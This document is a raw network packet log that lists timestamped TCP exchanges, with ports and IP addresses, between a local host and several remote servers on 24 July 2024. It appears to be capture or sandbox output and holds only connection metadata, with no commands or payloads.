Jul 24, 2024 02:39:17.335407019 CEST	80	49738	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:17.515902996 CEST	80	49738	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:17.519637108 CEST	49738	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:17.965609074 CEST	49738	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:17.970550060 CEST	80	49738	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:18.507586956 CEST	80	49738	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:18.507868052 CEST	49738	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:18.876795053 CEST	49732	443	192.168.2.4	40.68.123.157
Jul 24, 2024 02:39:18.876837969 CEST	443	49732	40.68.123.157	192.168.2.4
Jul 24, 2024 02:39:18.876849890 CEST	49732	443	192.168.2.4	40.68.123.157
Jul 24, 2024 02:39:18.876857996 CEST	443	49732	40.68.123.157	192.168.2.4
Jul 24, 2024 02:39:19.631774902 CEST	49745	443	192.168.2.4	142.250.185.228
Jul 24, 2024 02:39:19.631836891 CEST	443	49745	142.250.185.228	192.168.2.4
Jul 24, 2024 02:39:19.631908894 CEST	49745	443	192.168.2.4	142.250.185.228
Jul 24, 2024 02:39:19.632538080 CEST	49745	443	192.168.2.4	142.250.185.228
Jul 24, 2024 02:39:19.632580042 CEST	443	49745	142.250.185.228	192.168.2.4
Jul 24, 2024 02:39:19.645709038 CEST	49746	443	192.168.2.4	216.58.212.174
Jul 24, 2024 02:39:19.645804882 CEST	443	49746	216.58.212.174	192.168.2.4
Jul 24, 2024 02:39:19.645891905 CEST	49746	443	192.168.2.4	216.58.212.174
Jul 24, 2024 02:39:19.862648964 CEST	49746	443	192.168.2.4	216.58.212.174
Jul 24, 2024 02:39:19.862749100 CEST	443	49746	216.58.212.174	192.168.2.4
Jul 24, 2024 02:39:20.275027037 CEST	443	49745	142.250.185.228	192.168.2.4
Jul 24, 2024 02:39:20.303400040 CEST	49745	443	192.168.2.4	142.250.185.228
Jul 24, 2024 02:39:20.303463936 CEST	443	49745	142.250.185.228	192.168.2.4
Jul 24, 2024 02:39:20.307338953 CEST	443	49745	142.250.185.228	192.168.2.4
Jul 24, 2024 02:39:20.307440996 CEST	49745	443	192.168.2.4	142.250.185.228
Jul 24, 2024 02:39:20.318506956 CEST	49745	443	192.168.2.4	142.250.185.228
Jul 24, 2024 02:39:20.318766117 CEST	443	49745	142.250.185.228	192.168.2.4
Jul 24, 2024 02:39:20.392815113 CEST	49745	443	192.168.2.4	142.250.185.228
Jul 24, 2024 02:39:20.392837048 CEST	443	49745	142.250.185.228	192.168.2.4
Jul 24, 2024 02:39:20.515702009 CEST	443	49746	216.58.212.174	192.168.2.4
Jul 24, 2024 02:39:20.529509068 CEST	49746	443	192.168.2.4	216.58.212.174
Jul 24, 2024 02:39:20.529593945 CEST	443	49746	216.58.212.174	192.168.2.4
Jul 24, 2024 02:39:20.531218052 CEST	443	49746	216.58.212.174	192.168.2.4
Jul 24, 2024 02:39:20.531301022 CEST	49746	443	192.168.2.4	216.58.212.174
Jul 24, 2024 02:39:20.533742905 CEST	443	49746	216.58.212.174	192.168.2.4
Jul 24, 2024 02:39:20.533819914 CEST	49746	443	192.168.2.4	216.58.212.174
Jul 24, 2024 02:39:20.535336018 CEST	49746	443	192.168.2.4	216.58.212.174
Jul 24, 2024 02:39:20.535537958 CEST	443	49746	216.58.212.174	192.168.2.4
Jul 24, 2024 02:39:20.544876099 CEST	49746	443	192.168.2.4	216.58.212.174
Jul 24, 2024 02:39:20.544895887 CEST	443	49746	216.58.212.174	192.168.2.4
Jul 24, 2024 02:39:20.583854914 CEST	49745	443	192.168.2.4	142.250.185.228
Jul 24, 2024 02:39:20.756500959 CEST	443	49746	216.58.212.174	192.168.2.4
Jul 24, 2024 02:39:20.756603956 CEST	49746	443	192.168.2.4	216.58.212.174
Jul 24, 2024 02:39:20.821079016 CEST	443	49746	216.58.212.174	192.168.2.4
Jul 24, 2024 02:39:20.821257114 CEST	443	49746	216.58.212.174	192.168.2.4
Jul 24, 2024 02:39:20.821280956 CEST	49746	443	192.168.2.4	216.58.212.174
Jul 24, 2024 02:39:20.821357012 CEST	49746	443	192.168.2.4	216.58.212.174
Jul 24, 2024 02:39:21.145411968 CEST	49746	443	192.168.2.4	216.58.212.174
Jul 24, 2024 02:39:21.145441055 CEST	443	49746	216.58.212.174	192.168.2.4
Jul 24, 2024 02:39:21.690915108 CEST	49761	443	192.168.2.4	172.217.18.1
Jul 24, 2024 02:39:21.690979958 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:21.691054106 CEST	49761	443	192.168.2.4	172.217.18.1
Jul 24, 2024 02:39:21.691257954 CEST	49761	443	192.168.2.4	172.217.18.1
Jul 24, 2024 02:39:21.691294909 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:22.434777021 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:22.490828991 CEST	49761	443	192.168.2.4	172.217.18.1
Jul 24, 2024 02:39:22.498801947 CEST	49761	443	192.168.2.4	172.217.18.1
Jul 24, 2024 02:39:22.498816967 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:22.500374079 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:22.500402927 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:22.500442982 CEST	49761	443	192.168.2.4	172.217.18.1
Jul 24, 2024 02:39:22.500443935 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:22.500514984 CEST	49761	443	192.168.2.4	172.217.18.1
Jul 24, 2024 02:39:22.500529051 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:22.500674963 CEST	49761	443	192.168.2.4	172.217.18.1
Jul 24, 2024 02:39:22.502994061 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:22.504475117 CEST	49761	443	192.168.2.4	172.217.18.1
Jul 24, 2024 02:39:22.504652023 CEST	49761	443	192.168.2.4	172.217.18.1
Jul 24, 2024 02:39:22.504662991 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:22.504698992 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:22.682579041 CEST	49761	443	192.168.2.4	172.217.18.1
Jul 24, 2024 02:39:22.682658911 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:22.696320057 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:22.696392059 CEST	49761	443	192.168.2.4	172.217.18.1
Jul 24, 2024 02:39:22.696429968 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:22.699107885 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:22.699193001 CEST	49761	443	192.168.2.4	172.217.18.1
Jul 24, 2024 02:39:22.699209929 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:22.704741001 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:22.704809904 CEST	49761	443	192.168.2.4	172.217.18.1
Jul 24, 2024 02:39:22.704826117 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:22.710993052 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:22.711075068 CEST	49761	443	192.168.2.4	172.217.18.1
Jul 24, 2024 02:39:22.711090088 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:22.717781067 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:22.717842102 CEST	49761	443	192.168.2.4	172.217.18.1
Jul 24, 2024 02:39:22.717856884 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:22.723591089 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:22.723644972 CEST	49761	443	192.168.2.4	172.217.18.1
Jul 24, 2024 02:39:22.723659039 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:22.729661942 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:22.729736090 CEST	49761	443	192.168.2.4	172.217.18.1
Jul 24, 2024 02:39:22.729749918 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:22.737344027 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:22.737405062 CEST	49761	443	192.168.2.4	172.217.18.1
Jul 24, 2024 02:39:22.737420082 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:22.784921885 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:22.785006046 CEST	49761	443	192.168.2.4	172.217.18.1
Jul 24, 2024 02:39:22.785079956 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:22.786614895 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:22.787561893 CEST	49761	443	192.168.2.4	172.217.18.1
Jul 24, 2024 02:39:22.787580013 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:22.790544033 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:22.791264057 CEST	49761	443	192.168.2.4	172.217.18.1
Jul 24, 2024 02:39:22.791280985 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:22.797063112 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:22.797141075 CEST	49761	443	192.168.2.4	172.217.18.1
Jul 24, 2024 02:39:22.797163010 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:22.803658009 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:22.803721905 CEST	49761	443	192.168.2.4	172.217.18.1
Jul 24, 2024 02:39:22.803738117 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:22.809612036 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:22.809669971 CEST	49761	443	192.168.2.4	172.217.18.1
Jul 24, 2024 02:39:22.809684992 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:22.815830946 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:22.816761017 CEST	49761	443	192.168.2.4	172.217.18.1
Jul 24, 2024 02:39:22.816781998 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:22.822210073 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:22.822551012 CEST	49761	443	192.168.2.4	172.217.18.1
Jul 24, 2024 02:39:22.822565079 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:22.828479052 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:22.828561068 CEST	49761	443	192.168.2.4	172.217.18.1
Jul 24, 2024 02:39:22.828574896 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:22.834815979 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:22.835561991 CEST	49761	443	192.168.2.4	172.217.18.1
Jul 24, 2024 02:39:22.835575104 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:22.840116978 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:22.840245008 CEST	49761	443	192.168.2.4	172.217.18.1
Jul 24, 2024 02:39:22.840257883 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:22.845587969 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:22.845659971 CEST	49761	443	192.168.2.4	172.217.18.1
Jul 24, 2024 02:39:22.845674992 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:22.850770950 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:22.850837946 CEST	49761	443	192.168.2.4	172.217.18.1
Jul 24, 2024 02:39:22.850852966 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:22.856221914 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:22.856278896 CEST	49761	443	192.168.2.4	172.217.18.1
Jul 24, 2024 02:39:22.856293917 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:22.861732006 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:22.861793995 CEST	49761	443	192.168.2.4	172.217.18.1
Jul 24, 2024 02:39:22.861810923 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:22.867086887 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:22.867160082 CEST	49761	443	192.168.2.4	172.217.18.1
Jul 24, 2024 02:39:22.867177010 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:22.873702049 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:22.873764992 CEST	49761	443	192.168.2.4	172.217.18.1
Jul 24, 2024 02:39:22.873780966 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:22.876849890 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:22.879576921 CEST	49761	443	192.168.2.4	172.217.18.1
Jul 24, 2024 02:39:22.879591942 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:22.880599022 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:22.882817030 CEST	49761	443	192.168.2.4	172.217.18.1
Jul 24, 2024 02:39:22.882833004 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:22.884042025 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:22.884201050 CEST	49761	443	192.168.2.4	172.217.18.1
Jul 24, 2024 02:39:22.884216070 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:22.887881041 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:22.888247967 CEST	49761	443	192.168.2.4	172.217.18.1
Jul 24, 2024 02:39:22.888262987 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:22.891187906 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:22.891261101 CEST	49761	443	192.168.2.4	172.217.18.1
Jul 24, 2024 02:39:22.891273975 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:22.894787073 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:22.894846916 CEST	49761	443	192.168.2.4	172.217.18.1
Jul 24, 2024 02:39:22.894860983 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:22.904259920 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:22.904318094 CEST	49761	443	192.168.2.4	172.217.18.1
Jul 24, 2024 02:39:22.904330969 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:22.905395985 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:22.905491114 CEST	49761	443	192.168.2.4	172.217.18.1
Jul 24, 2024 02:39:22.905504942 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:22.905590057 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:22.905653000 CEST	49761	443	192.168.2.4	172.217.18.1
Jul 24, 2024 02:39:22.905666113 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:22.909665108 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:22.909873009 CEST	49761	443	192.168.2.4	172.217.18.1
Jul 24, 2024 02:39:22.909894943 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:22.911988974 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:22.912107944 CEST	49761	443	192.168.2.4	172.217.18.1
Jul 24, 2024 02:39:22.912122011 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:22.916234016 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:22.916304111 CEST	49761	443	192.168.2.4	172.217.18.1
Jul 24, 2024 02:39:22.916316986 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:22.919657946 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:22.919711113 CEST	49761	443	192.168.2.4	172.217.18.1
Jul 24, 2024 02:39:22.919723988 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:22.922485113 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:22.922557116 CEST	49761	443	192.168.2.4	172.217.18.1
Jul 24, 2024 02:39:22.922569036 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:22.926147938 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:22.926197052 CEST	49761	443	192.168.2.4	172.217.18.1
Jul 24, 2024 02:39:22.926209927 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:22.929687023 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:22.929739952 CEST	49761	443	192.168.2.4	172.217.18.1
Jul 24, 2024 02:39:22.929755926 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:22.933388948 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:22.933496952 CEST	49761	443	192.168.2.4	172.217.18.1
Jul 24, 2024 02:39:22.933511019 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:22.936217070 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:22.936300039 CEST	49761	443	192.168.2.4	172.217.18.1
Jul 24, 2024 02:39:22.936312914 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:22.939834118 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:22.939901114 CEST	49761	443	192.168.2.4	172.217.18.1
Jul 24, 2024 02:39:22.939915895 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:22.943315983 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:22.943373919 CEST	49761	443	192.168.2.4	172.217.18.1
Jul 24, 2024 02:39:22.943387985 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:22.946537018 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:22.946597099 CEST	49761	443	192.168.2.4	172.217.18.1
Jul 24, 2024 02:39:22.946616888 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:22.949716091 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:22.949820995 CEST	49761	443	192.168.2.4	172.217.18.1
Jul 24, 2024 02:39:22.949840069 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:22.952842951 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:22.952914000 CEST	49761	443	192.168.2.4	172.217.18.1
Jul 24, 2024 02:39:22.952925920 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:22.952955008 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:22.953005075 CEST	49761	443	192.168.2.4	172.217.18.1
Jul 24, 2024 02:39:22.955765009 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:22.958838940 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:22.958976030 CEST	49761	443	192.168.2.4	172.217.18.1
Jul 24, 2024 02:39:22.958992004 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:22.959088087 CEST	49761	443	192.168.2.4	172.217.18.1
Jul 24, 2024 02:39:22.959136963 CEST	443	49761	172.217.18.1	192.168.2.4
Jul 24, 2024 02:39:22.959263086 CEST	49761	443	192.168.2.4	172.217.18.1
Jul 24, 2024 02:39:23.513416052 CEST	80	49738	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:23.513549089 CEST	49738	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:24.076217890 CEST	49776	443	192.168.2.4	20.190.159.4
Jul 24, 2024 02:39:24.076287031 CEST	443	49776	20.190.159.4	192.168.2.4
Jul 24, 2024 02:39:24.076361895 CEST	49776	443	192.168.2.4	20.190.159.4
Jul 24, 2024 02:39:24.076628923 CEST	49776	443	192.168.2.4	20.190.159.4
Jul 24, 2024 02:39:24.076662064 CEST	443	49776	20.190.159.4	192.168.2.4
Jul 24, 2024 02:39:24.159796953 CEST	49777	443	192.168.2.4	162.159.61.3
Jul 24, 2024 02:39:24.159862041 CEST	443	49777	162.159.61.3	192.168.2.4
Jul 24, 2024 02:39:24.159998894 CEST	49777	443	192.168.2.4	162.159.61.3
Jul 24, 2024 02:39:24.160238981 CEST	49777	443	192.168.2.4	162.159.61.3
Jul 24, 2024 02:39:24.160274029 CEST	443	49777	162.159.61.3	192.168.2.4
Jul 24, 2024 02:39:24.162097931 CEST	49778	443	192.168.2.4	172.64.41.3
Jul 24, 2024 02:39:24.162115097 CEST	443	49778	172.64.41.3	192.168.2.4
Jul 24, 2024 02:39:24.162309885 CEST	49778	443	192.168.2.4	172.64.41.3
Jul 24, 2024 02:39:24.162498951 CEST	49778	443	192.168.2.4	172.64.41.3
Jul 24, 2024 02:39:24.162512064 CEST	443	49778	172.64.41.3	192.168.2.4
Jul 24, 2024 02:39:24.247036934 CEST	49779	443	192.168.2.4	162.159.61.3
Jul 24, 2024 02:39:24.247051954 CEST	443	49779	162.159.61.3	192.168.2.4
Jul 24, 2024 02:39:24.247127056 CEST	49779	443	192.168.2.4	162.159.61.3
Jul 24, 2024 02:39:24.247833014 CEST	49779	443	192.168.2.4	162.159.61.3
Jul 24, 2024 02:39:24.247843981 CEST	443	49779	162.159.61.3	192.168.2.4
Jul 24, 2024 02:39:24.633641958 CEST	443	49778	172.64.41.3	192.168.2.4
Jul 24, 2024 02:39:24.633872032 CEST	49778	443	192.168.2.4	172.64.41.3
Jul 24, 2024 02:39:24.633887053 CEST	443	49778	172.64.41.3	192.168.2.4
Jul 24, 2024 02:39:24.634202957 CEST	443	49777	162.159.61.3	192.168.2.4
Jul 24, 2024 02:39:24.634418011 CEST	49777	443	192.168.2.4	162.159.61.3
Jul 24, 2024 02:39:24.634494066 CEST	443	49777	162.159.61.3	192.168.2.4
Jul 24, 2024 02:39:24.635488033 CEST	443	49778	172.64.41.3	192.168.2.4
Jul 24, 2024 02:39:24.635551929 CEST	49778	443	192.168.2.4	172.64.41.3
Jul 24, 2024 02:39:24.636127949 CEST	443	49777	162.159.61.3	192.168.2.4
Jul 24, 2024 02:39:24.636192083 CEST	49777	443	192.168.2.4	162.159.61.3
Jul 24, 2024 02:39:24.636661053 CEST	49778	443	192.168.2.4	172.64.41.3
Jul 24, 2024 02:39:24.636745930 CEST	443	49778	172.64.41.3	192.168.2.4
Jul 24, 2024 02:39:24.636898994 CEST	49778	443	192.168.2.4	172.64.41.3
Jul 24, 2024 02:39:24.637084961 CEST	49777	443	192.168.2.4	162.159.61.3
Jul 24, 2024 02:39:24.637178898 CEST	443	49777	162.159.61.3	192.168.2.4
Jul 24, 2024 02:39:24.637206078 CEST	49777	443	192.168.2.4	162.159.61.3
Jul 24, 2024 02:39:24.680517912 CEST	443	49778	172.64.41.3	192.168.2.4
Jul 24, 2024 02:39:24.680536032 CEST	443	49777	162.159.61.3	192.168.2.4
Jul 24, 2024 02:39:24.726623058 CEST	443	49779	162.159.61.3	192.168.2.4
Jul 24, 2024 02:39:24.729121923 CEST	49779	443	192.168.2.4	162.159.61.3
Jul 24, 2024 02:39:24.729130030 CEST	443	49779	162.159.61.3	192.168.2.4
Jul 24, 2024 02:39:24.730565071 CEST	443	49779	162.159.61.3	192.168.2.4
Jul 24, 2024 02:39:24.730623007 CEST	49779	443	192.168.2.4	162.159.61.3
Jul 24, 2024 02:39:24.732912064 CEST	49779	443	192.168.2.4	162.159.61.3
Jul 24, 2024 02:39:24.732989073 CEST	443	49779	162.159.61.3	192.168.2.4
Jul 24, 2024 02:39:24.733349085 CEST	49779	443	192.168.2.4	162.159.61.3
Jul 24, 2024 02:39:24.733355999 CEST	443	49779	162.159.61.3	192.168.2.4
Jul 24, 2024 02:39:24.742376089 CEST	443	49778	172.64.41.3	192.168.2.4
Jul 24, 2024 02:39:24.742434978 CEST	49778	443	192.168.2.4	172.64.41.3
Jul 24, 2024 02:39:24.742731094 CEST	49778	443	192.168.2.4	172.64.41.3
Jul 24, 2024 02:39:24.742742062 CEST	443	49778	172.64.41.3	192.168.2.4
Jul 24, 2024 02:39:24.758722067 CEST	443	49777	162.159.61.3	192.168.2.4
Jul 24, 2024 02:39:24.758815050 CEST	49777	443	192.168.2.4	162.159.61.3
Jul 24, 2024 02:39:24.758975983 CEST	49777	443	192.168.2.4	162.159.61.3
Jul 24, 2024 02:39:24.759018898 CEST	443	49777	162.159.61.3	192.168.2.4
Jul 24, 2024 02:39:24.800983906 CEST	49779	443	192.168.2.4	162.159.61.3
Jul 24, 2024 02:39:24.857422113 CEST	443	49776	20.190.159.4	192.168.2.4
Jul 24, 2024 02:39:24.857613087 CEST	49776	443	192.168.2.4	20.190.159.4
Jul 24, 2024 02:39:24.868901014 CEST	443	49779	162.159.61.3	192.168.2.4
Jul 24, 2024 02:39:24.868976116 CEST	443	49779	162.159.61.3	192.168.2.4
Jul 24, 2024 02:39:24.869024038 CEST	49779	443	192.168.2.4	162.159.61.3
Jul 24, 2024 02:39:24.872643948 CEST	49779	443	192.168.2.4	162.159.61.3
Jul 24, 2024 02:39:24.872653008 CEST	443	49779	162.159.61.3	192.168.2.4
Jul 24, 2024 02:39:24.893171072 CEST	49776	443	192.168.2.4	20.190.159.4
Jul 24, 2024 02:39:24.893249989 CEST	443	49776	20.190.159.4	192.168.2.4
Jul 24, 2024 02:39:24.893614054 CEST	443	49776	20.190.159.4	192.168.2.4
Jul 24, 2024 02:39:24.910269976 CEST	49776	443	192.168.2.4	20.190.159.4
Jul 24, 2024 02:39:24.910269976 CEST	49776	443	192.168.2.4	20.190.159.4
Jul 24, 2024 02:39:24.910383940 CEST	443	49776	20.190.159.4	192.168.2.4
Jul 24, 2024 02:39:25.167223930 CEST	443	49776	20.190.159.4	192.168.2.4
Jul 24, 2024 02:39:25.167313099 CEST	443	49776	20.190.159.4	192.168.2.4
Jul 24, 2024 02:39:25.167391062 CEST	49776	443	192.168.2.4	20.190.159.4
Jul 24, 2024 02:39:25.168263912 CEST	49776	443	192.168.2.4	20.190.159.4
Jul 24, 2024 02:39:25.168263912 CEST	49776	443	192.168.2.4	20.190.159.4
Jul 24, 2024 02:39:25.168307066 CEST	443	49776	20.190.159.4	192.168.2.4
Jul 24, 2024 02:39:25.168333054 CEST	443	49776	20.190.159.4	192.168.2.4
Jul 24, 2024 02:39:25.311487913 CEST	49786	443	192.168.2.4	20.190.159.4
Jul 24, 2024 02:39:25.311569929 CEST	443	49786	20.190.159.4	192.168.2.4
Jul 24, 2024 02:39:25.311669111 CEST	49786	443	192.168.2.4	20.190.159.4
Jul 24, 2024 02:39:25.314968109 CEST	49786	443	192.168.2.4	20.190.159.4
Jul 24, 2024 02:39:25.315002918 CEST	443	49786	20.190.159.4	192.168.2.4
Jul 24, 2024 02:39:25.704874992 CEST	49787	443	192.168.2.4	142.250.185.142
Jul 24, 2024 02:39:25.704943895 CEST	443	49787	142.250.185.142	192.168.2.4
Jul 24, 2024 02:39:25.705173969 CEST	49787	443	192.168.2.4	142.250.185.142
Jul 24, 2024 02:39:25.705646038 CEST	49787	443	192.168.2.4	142.250.185.142
Jul 24, 2024 02:39:25.705681086 CEST	443	49787	142.250.185.142	192.168.2.4
Jul 24, 2024 02:39:25.907793045 CEST	49791	443	192.168.2.4	35.190.72.216
Jul 24, 2024 02:39:25.907871008 CEST	443	49791	35.190.72.216	192.168.2.4
Jul 24, 2024 02:39:25.907964945 CEST	49791	443	192.168.2.4	35.190.72.216
Jul 24, 2024 02:39:25.913184881 CEST	49791	443	192.168.2.4	35.190.72.216
Jul 24, 2024 02:39:25.913204908 CEST	443	49791	35.190.72.216	192.168.2.4
Jul 24, 2024 02:39:26.082885981 CEST	443	49786	20.190.159.4	192.168.2.4
Jul 24, 2024 02:39:26.085414886 CEST	49786	443	192.168.2.4	20.190.159.4
Jul 24, 2024 02:39:26.085488081 CEST	443	49786	20.190.159.4	192.168.2.4
Jul 24, 2024 02:39:26.086929083 CEST	49786	443	192.168.2.4	20.190.159.4
Jul 24, 2024 02:39:26.086950064 CEST	443	49786	20.190.159.4	192.168.2.4
Jul 24, 2024 02:39:26.086992025 CEST	49786	443	192.168.2.4	20.190.159.4
Jul 24, 2024 02:39:26.087012053 CEST	443	49786	20.190.159.4	192.168.2.4
Jul 24, 2024 02:39:26.362850904 CEST	443	49787	142.250.185.142	192.168.2.4
Jul 24, 2024 02:39:26.389254093 CEST	443	49791	35.190.72.216	192.168.2.4
Jul 24, 2024 02:39:26.395178080 CEST	49791	443	192.168.2.4	35.190.72.216
Jul 24, 2024 02:39:26.410115957 CEST	49787	443	192.168.2.4	142.250.185.142
Jul 24, 2024 02:39:26.434858084 CEST	49787	443	192.168.2.4	142.250.185.142
Jul 24, 2024 02:39:26.434909105 CEST	443	49787	142.250.185.142	192.168.2.4
Jul 24, 2024 02:39:26.435404062 CEST	443	49787	142.250.185.142	192.168.2.4
